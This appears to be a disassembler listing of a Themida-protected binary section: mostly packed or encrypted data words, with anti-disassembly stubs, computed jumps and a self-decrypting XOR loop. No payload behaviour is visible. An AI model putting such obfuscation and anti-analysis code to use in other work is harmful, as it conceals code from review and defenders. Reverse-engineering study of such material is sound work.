		dd 0ACE7D4C0h, 0C07D694Eh, 19FEC7ADh, 5AE98017h, 0E918807Ch
		dd 214B290Bh, 22A78563h, 0B09D5335h, 993015D3h,	979F7D0Ah
		dd 3CCD2A28h, 4BD5h, 1880F700h,	6D99FDE9h, 524449B5h, 22F0CE5Dh
		dd 28B50865h, 3925BC12h, 0CFB4484Ch, 22CBA938h,	0B09D5335h
		dd 993015D3h, 22401E0Ah, 0B4995735h, 0E4A18E1Dh, 0BE222C0Ah
		dd 4D84AFEh, 3CAC3B0Fh,	5335225Eh, 4E960E9Dh, 0B8000000h
		dd 0FDE91880h, 0B5195411h, 14AB1228h, 0BE22A785h, 0ECA98D05h
		dd 12295781h, 8348AC43h, 1D099873h, 0C18DCD31h,	475E52C9h
		dd 6A72FBB8h, 9F361229h, 4A3622C1h, 28B4E08Dh, 0BE4DE412h
		dd 8A6421E0h, 0C6B29EACh, 28B46409h, 3AC96012h,	8563215Ch
		dd 35F8E3A0h, 5A05122Dh, 0D81474ABh, 0C23E5E4Bh, 4CAAE9D6h
		dd 5C41D067h, 8670DCCEh, 8EEB2078h, 6607C4B0h, 5E122D78h
		dd 874430C7h, 19FE9637h, 8B69F68Dh, 0BE91880h, 0D303BE22h
		dd 0ADFD1E33h, 942B10EEh, 0AB896EFDh, 44306321h, 28B4E687h
		dd 8A47DE12h, 1228B4E3h, 0D5B34AE1h, 0ECA99581h, 1228B481h
		dd 3F1DAC43h, 9B553522h, 2A2A950Ch, 0CDBA3CCDh,	604D32CCh
		dd 4BE2C725h, 2FCDC7B4h, 5124B34Ah, 43h, 79362273h, 1228B4F4h
		dd 48ED0B88h, 0EC9422B1h, 65221FFDh, 1228B508h,	4C3925BCh
		dd 0C4C5B24Eh, 1FAE452Ah, 21442241h, 9EAC8A64h,	64BE22C0h
		dd 8DB05290h, 7C115A0Eh, 6A017882h, 2E63DBh, 80850000h
		dd 220BE918h, 28B50865h, 0F7B4A012h, 1228B476h,	4220B74Eh
		dd 64214422h, 3522AC8Ah, 22B99E50h, 0D3372393h,	25B1A2D1h
		dd 613FCE35h, 99856321h, 8312EEACh, 7F62109Eh, 0BE5A693h
		dd 0B50B621Fh, 22B91228h, 74EAA793h, 5019F9D9h,	0EC9E2CB9h
		dd 5634210Dh, 621F0B9Ah, 21D21E23h, 38250AA1h, 0AF414658h
		dd 0F9C33CAh, 45563623h, 0D21DE588h, 0B148DF21h, 620968CCh
		dd 7EC61581h, 2F3EFBE7h, 9521D2A3h, 2826FFEh, 6B4401E6h
		dd 927C0A6Fh, 830138E7h, 0D08D7965h, 7C0A6F9Dh,	74019027h
		dd 6EB0987h, 977C7A19h
		dd 5DD443EEh, 4734C13Fh, 0D2BFAB49h, 0C4A938B0h, 154Ch
		dd 0D6C26E00h, 0B5402DEAh, 0ED841228h, 0B5294401h, 49B1228h
		dd 7D219775h, 0D3B19E83h, 46433015h, 0B3D6C3A8h, 2F6B583Dh
		dd 83FFECD1h, 0F4938065h, 632411F6h, 0D9BBA88Dh, 686F3E23h
		dd 5709h, 68241489h, 7EF5h, 57241489h, 0C781E789h, 4, 4EF81h
		dd 3C870000h, 34895C24h, 42BF5724h, 89718110h, 0EA815FFAh
		dd 69A8CBF9h, 24348B54h, 5304C483h, 6F0167BBh, 0CB814B34h
		dd 41FB18C3h, 0E621C381h, 0F3018A00h, 0FF5B1389h, 815E2434h
		dd 4C4h, 24148B00h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_58E4C0
; ---------------------------------------------------------------------------
		or	al, ah
		enter	0FFFFA825h, 30h
		mov	eax, fs
		add	al, 25h
		lodsb
		mov	eax, 7D84C91h
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		db 40h,	25h, 79h
		dd 0B317EE0Ch, 0A0F5B64Bh, 0E0A93247h, 1ADA557Eh, 0A6859D13h
		dd 89B14104h, 878AD63Dh, 3C14EF59h, 348D8D23h, 6A07D84Eh
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 18042444h
		dd 47000000h, 1862C357h, 0B80FB0BFh, 1C9B3C93h,	1B518D89h
		dd 6A07D1h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h
		dd 56460000h, 718982C3h, 0C7829C94h, 0D12D5585h, 6E6C07h
		dd 85C7F900h, 7D11D39h,	0
; ---------------------------------------------------------------------------
		push	0
		push	edx
		call	sub_5FB3EF
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5FB3EF	proc near		; CODE XREF: Themida_:005FB3E7p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Ah
		inc	edx
		push	edx
		retn
sub_5FB3EF	endp

; ---------------------------------------------------------------------------
		db 33h
		dd 0FC4627BBh, 9D89EBB3h, 7D10CC9h, 88F0Fh, 0F530000h
		dd 85h,	0B5FF5A00h, 7D11529h, 8A0FF18Bh, 6, 2B6D958Bh
		dd 95FF07D1h, 7D11801h,	0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 1Ah, 0E1C35646h, 0BCD6FC3Bh, 10E913D8h, 56000000h
		dd 8D936AA2h, 0A7332619h, 9266E1FFh, 6A3BCC40h,	5595FF00h
		dd 8B07D100h, 241DEBC0h, 0B931EC82h, 0E61B9B0h,	14E67DECh
		dd 85225059h, 0D57F929Fh, 0F81F8289h, 3FD59EBh,	4EFA8D8Dh
		dd 0F08007D8h, 518D8980h, 8107D11Bh, 40D6FDDFh,	5585C753h
		dd 1007D12Dh, 31000070h, 0D1166585h, 3985C707h,	7D11Dh
		dd 6A000000h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 15042444h, 45000000h, 0DB3AC355h, 2445B5FFh,	6A07D1h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h, 51410000h
		dd 8503FCC3h, 7D125CDh,	180195FFh, 6A07D1h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 160424h, 53430000h, 1CB7BC3h
		dd 4C78166h, 0FF006AC5h, 0D1005595h, 0EBC08B07h, 0EB28E82Dh
		dd 1ED3D5E9h, 0F916D990h, 0C18E5E70h, 7D7D2D72h, 3F21538Dh
		dd 96E4B475h, 0EB9BB32Ch, 0B5A4BAD2h, 3F925FF4h, 54A913BCh
		dd 0BE84A9Dh, 2B000000h, 60DBE2F0h, 9AF6C1AAh, 8D895B3Dh
		dd 7D11CB1h, 54BE6659h,	0D5C18179h, 8B000058h, 4404B8DEh
		dd 0F0812AACh, 2AAC5210h, 0E195C681h, 398B7FFDh, 0C6EAF681h
		dd 0C78175E0h, 67AE4EBDh, 9E8h,	0D6CA0A00h, 44E34262h
		dd 815B1E91h, 943969C7h, 7E917h, 0BAD60000h, 32A5360h
		dd 0B5EF8195h, 0F580661h, 48Dh,	6DBA6600h, 0B58957F3h
		dd 7D11BF9h, 958B018Fh,	7D1193Dh, 4804E983h, 0FFA8850Fh
		dd 0F08BFFFFh, 2DE9h, 0F8ACC100h, 66h, 9 dup(0)
		dd 17E90000h, 30000005h, 1805924Eh, 6F3807Ch, 0F5E26F81h
		dd 0DECB5896h, 0FCB744BCh, 718F0BA1h, 5E9CF7E4h, 49A7E4D1h
		dd 33B1CFBCh, 5B1804A6h, 1A010412h, 21ECCAB2h, 0B3A08563h
		dd 9F8C19D7h, 311E03E1h, 0BCA99553h, 0A63D22DEh, 8E1DDBB9h
		dd 24D8BCA9h, 0F928D33Fh, 0E59EDF43h, 0B02B9EF6h, 29957AF3h
		dd 1CB34A12h, 4E0A08Dh,	0EF098A77h, 8897662h, 11725FEEh
		dd 8205F2D7h, 33DE876Ch, 0A5624EC4h, 122995C8h,	0BC7965FCh
		dd 122995B1h, 0ED7C13h,	0ECD86583h, 0D56482FFh,	674CA8E8h
		dd 2995C0AAh, 0AB5A0512h, 83B31175h, 6DCE308Bh,	3B4867DEh
		dd 7B9539CDh, 0B7000000h, 99856321h, 0DEBBEFACh, 15FA8920h
		dd 28B51358h, 1807B212h, 0CD361897h, 1C539h, 21E70000h
		dd 0B7A48967h, 46331FDDh, 371CAB45h, 0C1AD4B4Ah, 868F2E5Dh
		dd 372CC1AAh, 0C788ECECh, 684DDC5Ah, 6CA251FCh,	0B52A1D08h
		dd 3806A2Dh, 0D26900E5h, 68325643h, 24E1CD2Bh, 12295F49h
		dd 614DE47Bh, 0F8FBDCFDh, 0C554892Fh, 225F4C38h, 92F2DFC4h
		dd 43DA7156h, 2BC9C7B4h, 6121C09Eh, 0B2975131h,	0B29F841Bh
		dd 0CA2E1AD6h, 702D4D99h, 122917FDh, 0FCC30C7h,	0A08514B1h
		dd 84BA6914h, 6BFAF897h, 57E41C7Eh, 0E9CE2A6Ah,	195411FDh
		dd 0AB122900h, 0FF988514h, 0F0BAD634h, 8D5E7444h, 2352B656h
		dd 0CCB1484Ah, 0AA608F3Ah, 6D4CD046h, 8070D42Ah, 0E158E7E1h
		dd 39CE32DEh, 691Fh, 61214100h,	0D0B5A287h, 22CD391Eh
		dd 0A25E3CF3h, 503D2915h, 77F6B331h, 4D1228B4h,	583A27B6h
		dd 0CFCEBBA0h, 0FBA4C31h, 34209FE0h, 5ADD39CDh,	0FF000000h
		dd 50316121h, 831AB196h, 11EFAA97h, 0ECA9952Ch,	1228B481h
		dd 381DAC43h, 0CBB04E4Bh, 0F128D782h, 0DECA5791h, 244906F2h
		dd 0A01228B5h, 0B5214C09h, 0CA31228h, 67219F7Dh, 83E7A489h
		dd 0F91228B4h, 8A775C9Ah, 800CF10Fh, 0A14526D5h, 298607F6h
		dd 0B439CD36h, 1, 8A6421D6h, 1CD8B8A5h,	0B24E4A37h, 43A1E0CDh
		dd 0BB6A155Eh, 594531DAh, 28B4D19Ch, 7EEFAC12h,	461228B4h
		dd 0E4730AAFh, 3253CA39h, 0A0E3D0BCh, 3FCE654Ah, 937624B2h
		dd 0C9C4EAA7h, 690019F9h, 1B349884h, 2C2B3B60h,	9026400Bh
		dd 30C77D20h, 732563CCh, 0A99FBF4h, 0F4817F1Dh,	76158907h
		dd 65FC9378h, 0CDA8C380h, 0CD7819F9h, 3FFCE85Eh, 19F9CE2Eh
		dd 8370FF96h, 0FAF49105h, 0FBE77E15h, 0E2718F0Eh, 0D7056955h
		dd 0BD22EF3Bh, 0CDCBB847h, 3F5D4A2Fh, 0A550DCC1h, 23C1BF76h
		dd 89901F96h, 0D034419Eh, 5B6C2B12h, 0A67908AAh, 131h
		dd 0EF1280C8h, 6B2A1703h, 0AD11A88Dh, 0F7326722h, 500D9C83h
		dd 19FA599Eh, 0BDAA8F26h, 0A89421DFh, 0C8CADEBBh, 0F0AD9930h
		dd 19FA597Dh, 3421B047h, 0C6B39854h, 58452AC6h,	75D9BE3Ah
		dd 27CB3BEBh, 760FFC88h, 5C079378h, 9540CCADh, 13D1AF66h
		dd 76A00F86h, 433D419Eh, 5F000000h, 2EE1580h, 28B50845h
		dd 4025BC92h, 28B4EA83h, 0FAF69292h, 8C682815h,	61903BA7h
		dd 907F2A00h, 7A668DF8h, 1CA42A8Eh, 0BF1CD4B2h,	2ADA7330h
		dd 86EA1229h, 8B214Bh, 79069DE6h, 9401h, 12802300h, 344603EFh
		dd 9019F9E7h, 692714F9h, 7311FE8Bh, 95D39075h, 8B19F9E7h
		dd 9AFA31E0h, 876C8808h, 8AD68A23h, 770EB895h, 8E07F4E0h
		dd 910F5E1Bh, 1EB519FAh, 0DD6BF887h, 5E92F6ADh,	0A1EDBC7h
		dd 7321D2E1h, 8ED0386h,	0E9078471h, 0F651B55Ah,	657FCEF7h
		dd 0BBA88D24h, 30CEC9DDh, 381DB44Bh, 0FF35E48Fh, 661F7312h
		dd 750CA388h, 0C72A58E6h, 51AFEEDBh, 0FEEAD6C2h, 0D3602C41h
		dd 0D9945121h, 0EB21D35Fh, 8918AF54h, 0ABAF5CCCh, 44D16829h
		dd 0EF128066h, 4E24603h, 4BE21A01h, 88D7A66h, 1A7A67F6h
		dd 0CF10F88h, 6451DE75h, 26E3C824h, 7B21FF27h, 45FC2BD6h
		dd 301CA947h, 92A940CCh, 49D84033h, 0DBC03C5Ch,	6C51AFEEh
		dd 1E6047Fh, 9928BD9Dh,	0C0ADA2F4h, 574429C7h, 40D7BC3Ah
		dd 2F50BF6Ah, 0F52CDB86h, 0E0CC5997h, 0CD5C92F3h, 5F44A0E0h
		dd 3E7h, 0E4C20900h, 9E837D21h,	3015D3B1h, 0C3A84643h
		dd 583DB3D6h, 0ECD12F6Bh, 806583FFh, 11F6F493h,	0A88D6324h
		dd 3E23D9BBh, 5954516Fh, 4C181h, 0E9830000h, 240C8704h
		dd 0E689565Ch, 4C681h, 0EE830000h, 24348704h, 2414895Ch
		dd 782268h, 24048900h, 9ABD55h,	6BBA33A9h, 3134714Fh, 242C8BEAh
		dd 5404C483h, 8124048Bh, 4C4h, 39106800h, 14890000h, 24048124h
		dd 112B263Ch, 8108408Fh, 263C0868h, 48B112Bh, 0E6895624h
		dd 4C681h, 0C6830000h, 24348704h, 2434FF5Ch, 4C4815Ah
		dd 0E9000000h, 0FFF92980h, 4ECDD7DCh, 7FB85ADFh, 307D854h
		dd 0B4E0FFC5h, 593FD175h, 303D158Ch, 0D755EE94h, 0C1398A1Eh
		dd 8D47199Fh, 0D855DE8Dh, 55006A07h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1704h,	0C3554500h, 1F436DA1h
		dd 1B518D89h, 850B07D1h, 7D10C45h, 2D5585C7h, 5D6807D1h
		dd 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h
		dd 50400000h, 94C4D6C3h, 0F7836DE1h, 0BE66814Eh, 85C7A5C6h
		dd 7D11D39h, 0
; ---------------------------------------------------------------------------
		pusha
		mov	edi, [ebp+7D11A75h]
		call	near ptr loc_5FBBE7+2
		cmp	edx, ds:286274C3h
		add	eax, 35BB897Ch


loc_5FBBE7:				; CODE XREF: Themida_:005FBBD7p
		jmp	fword ptr [edi-17h]
; ---------------------------------------------------------------------------
		or	eax, 63000000h
		movsb
		mov	esp, 0E2A09286h
		jmp	short loc_5FBC12
; ---------------------------------------------------------------------------
		db 7Dh
		dd 59FD050Bh, 81B5FF61h, 107D110h, 0D10CC9BDh, 195FF07h
		dd 2907D118h
; ---------------------------------------------------------------------------
		mov	ch, 55h


loc_5FBC12:				; CODE XREF: Themida_:005FBBF5j
		pop	ss
		rol	dword ptr [edi], 1
		push	0
		call	dword ptr [ebp+7D10055h]
		mov	eax, eax
		jmp	short loc_5FBC7B
; ---------------------------------------------------------------------------
		db 99h,	5Ch, 0CEh
		dd 0BC523B8Fh, 0F8EF5234h, 0B042515Bh, 81E395A8h, 72B95345h
		dd 465D2035h, 45EB740Ah, 0FED19DE5h, 9A26BEFFh,	206153CDh
		dd 27915FC9h, 165DF0CCh, 31BD1625h, 0B7515698h,	662F2F7h
		dd 5F99C23Ah, 6EB5C6E1h, 896510E3h, 0CCF514F2h,	588380DEh
		dd 1E9FA151h
		db 84h,	5, 50h
; ---------------------------------------------------------------------------


loc_5FBC7B:				; CODE XREF: Themida_:005FBC1Fj
		lea	ecx, [ebp+7D856D5h]
		jmp	loc_5FBC94
; ---------------------------------------------------------------------------
		dw 0E5E4h
		dd 0A5B3B06h
; ---------------------------------------------------------------------------


loc_5FBC8C:				; CODE XREF: Themida_:loc_5FBC8Cj
		ja	short loc_5FBC8C
		inc	ebp
		fcmovb	st, st(1)
; ---------------------------------------------------------------------------
		db 86h,	0Dh, 3Dh
; ---------------------------------------------------------------------------


loc_5FBC94:				; CODE XREF: Themida_:005FBC81j
		mov	[ebp+7D11B51h],	ecx
		push	0
		push	esi
		call	sub_5FBCA5
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5FBCA5	proc near		; CODE XREF: Themida_:005FBC9Dp

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 17h
		inc	esi
		push	esi
		retn
sub_5FBCA5	endp

; ---------------------------------------------------------------------------
		db 44h,	61h, 0B3h
		dd 5585C7BEh, 1407D12Dh, 0F00006Bh, 85C7D8BFh, 7D11D39h
		dd 0
; ---------------------------------------------------------------------------
		xor	[ebp+7D12F49h],	eax
		push	dword ptr [ebp+7D12445h]
		push	0
		push	ecx
		call	sub_5FBCE7
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5FBCE7	proc near		; CODE XREF: Themida_:005FBCDFp

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 17h
		inc	ecx
		push	ecx
		retn
sub_5FBCE7	endp

; ---------------------------------------------------------------------------
		inc	eax
		wait
		cmpsb
		inc	ebx
		or	eax, [ebp+7D101FDh]
		mov	esi, 3FC0EE91h
		call	dword ptr [ebp+7D11801h]
		push	0
		call	dword ptr [ebp+7D10055h]
		mov	eax, eax
		jmp	short loc_5FBD45
; ---------------------------------------------------------------------------
		dd 3B24C108h, 0F46EECD1h, 43FE4DBEh, 29851C66h,	17A6E7B5h
		dd 233D7231h, 0CDDD6622h, 0BE9616CCh, 497DA17Fh, 359D2101h
		dd 10568921h
; ---------------------------------------------------------------------------
		push	ds


loc_5FBD45:				; CODE XREF: Themida_:005FBD16j
		call	sub_5FBD53
		sti
		outsd
		pop	edx
		mov	ah, 53h
		db	3Eh
		retn
; ---------------------------------------------------------------------------
		db 17h,	24h

; =============== S U B	R O U T	I N E =======================================



sub_5FBD53	proc near		; CODE XREF: Themida_:loc_5FBD45p
		adc	eax, 49DE7B3h
		pop	ebx
		and	cl, 0CAh
		add	ebx, 62C5h
		mov	[ebp+7D128EDh],	edx
		mov	edi, 61E8A9EAh
		add	edi, 9E176EA3h
		jmp	loc_5FBD7E
; ---------------------------------------------------------------------------
		db 0FEh, 0C8h, 2Fh
		db 68h,	3
; ---------------------------------------------------------------------------


loc_5FBD7E:				; CODE XREF: sub_5FBD53+21j
					; sub_5FBD53+80j
		push	dword ptr [ebx]
		jnb	loc_5FBD88
		mov	eax, esi


loc_5FBD88:				; CODE XREF: sub_5FBD53+2Dj
		pop	esi
		sub	dl, 0C3h
		add	esi, 128127B9h
		mov	cx, ax
		xor	esi, 3422EA2Eh
		push	esi
		jnb	loc_5FBDA8
		mov	[ebp+7D12E5Dh],	ecx


loc_5FBDA8:				; CODE XREF: sub_5FBD53+49j
		pop	ecx
		xor	esi, 1A6EC4C7h
		push	esi
		mov	dh, al
		pop	dword ptr [ebx]
		or	ecx, [ebp+7D101E1h]
		sub	ebx, 3E343BDEh
		jmp	loc_5FBDCC
; ---------------------------------------------------------------------------
		db 0E6h, 0A3h, 0F3h
		dd 0DF77A139h
; ---------------------------------------------------------------------------


loc_5FBDCC:				; CODE XREF: sub_5FBD53+6Dj
		add	ebx, 3E343BDAh
		dec	edi
		jnz	loc_5FBD7E
		adc	edx, 599F34EEh


loc_5FBDDF:				; CODE XREF: Themida_:005FBE04j
		lea	ecx, [ebp+7D8589Fh]
		push	0
		push	ebp
		call	sub_5FBDF0
		and	[ebp-3Dh], bl
sub_5FBD53	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_5FBDF0	proc near		; CODE XREF: sub_5FBD53+95p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 1Ah
		inc	ebp
		push	ebp
		retn
sub_5FBDF0	endp

; ---------------------------------------------------------------------------
		push	edx
		movd	mm2, ebp
		jb	short loc_5FBDDF
		cmp	byte ptr [edx+58E7B896h], 33h
		xchg	eax, ebp
		adc	eax, 8907D107h
		lea	edx, [ecx+1Bh]
		rol	dword ptr [edi], 1
		push	0
		push	esi
		call	sub_5FBE23
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5FBE23	proc near		; CODE XREF: Themida_:005FBE1Bp

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Ah
		inc	esi
		push	esi
		retn
sub_5FBE23	endp

; ---------------------------------------------------------------------------
		test	eax, 7E0D017Dh
		dec	ebp
		db	3Eh
		cmc
		mov	dword ptr [ebp+7D12D55h], 6504h
		push	0
		push	ecx
		call	sub_5FBE50
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5FBE50	proc near		; CODE XREF: Themida_:005FBE48p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Ah
		inc	ecx
		push	ecx
		retn
sub_5FBE50	endp

; ---------------------------------------------------------------------------
		dd 31BD1625h, 0E8515698h, 11h, 0F25B83F1h, 550DAEDEh, 41FD374Eh
		dd 4922AC36h, 0AFF28078h, 3985C75Ah, 7D11Dh, 0E8000000h
		dd 14h,	0C9BC9DFEh, 24337D53h, 137D73DDh, 566DF238h, 34F951Ch
		dd 0FF5FD9B0h, 0D11C75B5h, 57006A07h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1804h,	0C3574700h, 23D8B1Eh, 195FFFDh
		dd 8007D118h, 6A84E7h, 5595FFh,	0C08B07D1h, 0B5C30AEBh
		dd 0F67D7CB9h, 1246B5AEh, 59AC8D8Dh, 6A07D8h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 170424h, 50400000h, 8E3D5FC3h
		dd 0AD852926h, 8007D103h, 8D8945C2h, 7D11B51h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 0E7C35747h, 0F88B6653h
		dd 10E85Ah, 0FB9C0000h,	0A35C5CE7h, 76C22E1h, 0A8844ECh
		dd 0FE9FBE6h, 62000000h, 0FA62DEDEh, 0F2B766ACh, 0ED581F22h
		dd 0C7586DA5h, 0D12D5585h, 67E007h, 55006A00h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1704h,	0C3554500h, 0DF109D4Ah
		dd 28F9B58Bh, 85C707D1h, 7D11D39h, 0
; ---------------------------------------------------------------------------
		jz	loc_5FBFAC
		mov	bh, 0B3h


loc_5FBFAC:				; CODE XREF: Themida_:005FBFA4j
		push	dword ptr [ebp+7D128A5h]
		push	0
		push	ebp
		call	sub_5FBFBD
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5FBFBD	proc near		; CODE XREF: Themida_:005FBFB5p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 17h
		inc	ebp
		push	ebp
		retn
sub_5FBFBD	endp

; ---------------------------------------------------------------------------
		sbb	esi, [edi-4274306Fh]
		xor	eax, 0FF07D12Bh
		xchg	eax, ebp
		add	[eax], ebx
		rol	dword ptr [edi], 1
		sub	edx, 85189Dh
		push	0
		call	dword ptr [ebp+7D10055h]
		mov	eax, eax
		jmp	short loc_5FC00C
; ---------------------------------------------------------------------------
		clc
		cmpsb
		push	edx
		mov	ecx, 5D62D3h
		stc
		sub	ah, [ecx]
		jo	short loc_5FC012
		sal	byte ptr [edi-2Ah], cl
		xchg	eax, ebp
		add	dword ptr [edi], 90C7532Bh
		sub	[ebx+61E5914Dh], ah


loc_5FC00C:				; CODE XREF: Themida_:005FBFEDj
		jmp	loc_5FC170

; =============== S U B	R O U T	I N E =======================================



sub_5FC011	proc near		; CODE XREF: sub_4068E0+12Bp
					; sub_409CA0+1Cp ...
		push	edx


loc_5FC012:				; CODE XREF: Themida_:005FBFFAj
		mov	edx, esp
		pusha
		call	$+5
		pop	ebp
		sub	ebp, 7D859DCh
		mov	eax, [edx+8]
		cmp	eax, 78263845h
		jnz	loc_5FC167
		mov	eax, [edx+0Ch]
		mov	ecx, [edx+18h]
		ror	eax, cl
		mov	ebx, 1DF2B5DCh
		xor	eax, ebx
		sub	eax, 4
		mov	[ebp+7D11B51h],	eax
		mov	ebx, [eax+4]
		mov	edi, eax
		mov	eax, [edx+10h]
		mov	ecx, [edx+18h]
		ror	eax, cl
		mov	esi, 82E08B84h
		xor	eax, esi
		sub	eax, edi
		and	eax, 0FFFFFFFCh
		sub	eax, 4
		mov	[ebp+7D12D55h],	eax
		mov	eax, [edx+14h]
		mov	[ebp+7D11D39h],	eax
		mov	eax, [edx+18h]
		push	ebx
		jmp	loc_5FC12B
; ---------------------------------------------------------------------------
		push	dword ptr [ebp+7D12445h]
		jmp	loc_5FC13F
; ---------------------------------------------------------------------------
		push	dword ptr [ebp+7D118F5h]
		jmp	loc_5FC13F
; ---------------------------------------------------------------------------
		push	dword ptr [ebp+7D11081h]
		jmp	loc_5FC13F
; ---------------------------------------------------------------------------
		push	dword ptr [ebp+7D11AD1h]
		jmp	loc_5FC13F
; ---------------------------------------------------------------------------
		push	dword ptr [ebp+7D12F05h]
		jmp	loc_5FC13F
; ---------------------------------------------------------------------------
		push	dword ptr [ebp+7D11C21h]
		jmp	loc_5FC13F
; ---------------------------------------------------------------------------
		push	dword ptr [ebp+7D11FF1h]
		jmp	loc_5FC13F
; ---------------------------------------------------------------------------
		push	dword ptr [ebp+7D11F65h]
		jmp	loc_5FC13F
; ---------------------------------------------------------------------------
		push	dword ptr [ebp+7D1306Dh]
		jmp	loc_5FC13F
; ---------------------------------------------------------------------------
		push	dword ptr [ebp+7D1068Dh]
		jmp	loc_5FC13F
; ---------------------------------------------------------------------------
		push	dword ptr [ebp+7D11C75h]
		jmp	loc_5FC13F
; ---------------------------------------------------------------------------
		push	dword ptr [ebp+7D105A9h]
		jmp	loc_5FC13F
; ---------------------------------------------------------------------------
		push	dword ptr [ebp+7D128A5h]
		jmp	loc_5FC13F
; ---------------------------------------------------------------------------
		push	dword ptr [ebp+7D10049h]
		jmp	loc_5FC13F
; ---------------------------------------------------------------------------
		push	dword ptr [ebp+7D12DC1h]
		jmp	loc_5FC13F
; ---------------------------------------------------------------------------
		push	dword ptr [ebp+7D11529h]
		jmp	loc_5FC13F
; ---------------------------------------------------------------------------


loc_5FC12B:				; CODE XREF: sub_5FC011+65j
		mov	ebx, eax
		mov	eax, 0Bh
		mul	bx
		lea	ecx, [ebp+7D85A3Dh]
		add	ecx, eax
		jmp	ecx
; ---------------------------------------------------------------------------


loc_5FC13F:				; CODE XREF: sub_5FC011+70j
					; sub_5FC011+7Bj ...
		call	dword ptr [ebp+7D11801h]
		pop	ebx


loc_5FC146:				; CODE XREF: sub_5FC011+14Ej
		mov	eax, [ebp+7D11B51h]
		cmp	[eax+4], ebx
		jnz	loc_5FC164
		push	ebx
		push	1
		call	dword ptr [ebp+7D10055h]
		pop	ebx
		jmp	loc_5FC146
; ---------------------------------------------------------------------------


loc_5FC164:				; CODE XREF: sub_5FC011+13Ej
		popa
		pop	edx
		retn
; ---------------------------------------------------------------------------


loc_5FC167:				; CODE XREF: sub_5FC011+18j
		popa
		pop	edx
		mov	eax, 7E41A8ADh
		jmp	eax
sub_5FC011	endp

; ---------------------------------------------------------------------------


loc_5FC170:				; CODE XREF: Themida_:loc_5FC00Cj
		mov	eax, [ebp+7D100B5h]
		lea	ecx, [ebp+7D85B2Bh]
		mov	[ecx+1], eax
		mov	eax, ebx
		call	sub_5FC193
; ---------------------------------------------------------------------------
		dw 40Fh
		dd 0F9A3B4EAh, 0D31C143Bh
		db 77h,	51h, 66h

; =============== S U B	R O U T	I N E =======================================



sub_5FC193	proc near		; CODE XREF: Themida_:005FC181p

var_75A0A1A	= byte ptr -75A0A1Ah

		push	ecx
		mov	esi, 4910395Eh
		pop	ecx
		pop	edx
		add	edx, 5DEBh
		mov	di, 0C9EDh
		mov	eax, 4541AE3h
		sub	eax, 454039Bh
		jb	$+6


loc_5FC1B6:				; CODE XREF: sub_5FC193+B2j
		mov	ebx, [edx]
		jmp	loc_5FC1CE
; ---------------------------------------------------------------------------
		db 0Fh,	0D8h, 0ECh
		dd 607D6EA7h, 8E80F33Ch, 5F0F49D3h
		db 47h,	0CEh
; ---------------------------------------------------------------------------


loc_5FC1CE:				; CODE XREF: sub_5FC193+25j
		xor	ebx, 6C572772h
		jmp	loc_5FC1E4
; ---------------------------------------------------------------------------
		db 44h,	8Ah, 0A9h
		dd 7E0D017Dh, 8153E4Dh
; ---------------------------------------------------------------------------


loc_5FC1E4:				; CODE XREF: sub_5FC193+41j
		sub	ebx, 67E52D62h
		mov	si, 5275h
		xor	ebx, 7D409986h
		add	si, 2572h
		mov	[edx], ebx
		sub	edx, 1
		jl	loc_5FC223
		pusha
		mov	eax, 7FB152Ch
		jmp	loc_5FC222
; ---------------------------------------------------------------------------
		or	bh, [esp+ecx+1Ch+var_75A0A1A]
		sal	ebx, 1
		pop	es
		cmp	eax, 0A9A7CDA6h
		push	eax
		push	edx
		xor	edx, [ebx]


loc_5FC222:				; CODE XREF: sub_5FC193+77j
		popa


loc_5FC223:				; CODE XREF: sub_5FC193+6Bj
		dec	edx
		dec	edx
		dec	edx
		mov	ch, 99h
		sub	eax, 1
		jnz	loc_5FC241
		mov	ch, 36h
		jmp	loc_5FC255
; ---------------------------------------------------------------------------
		dd 0C74650FDh, 0E46196Dh
		db 8Bh
; ---------------------------------------------------------------------------


loc_5FC241:				; CODE XREF: sub_5FC193+98j
		mov	di, 1A46h
		jmp	loc_5FC1B6
; ---------------------------------------------------------------------------
		pop	ecx
		xor	cl, [esi]
		dec	dword ptr [esi]
		mov	ds:0F4757FF2h, al
		lahf


loc_5FC255:				; CODE XREF: sub_5FC193+A0j
		mov	byte ptr [ebp+7D131B5h], 56h
		push	0A9C530DFh
		push	dword ptr [ebp+7D10831h]
		lea	eax, [ebp+7D4A6EAh]
		call	eax
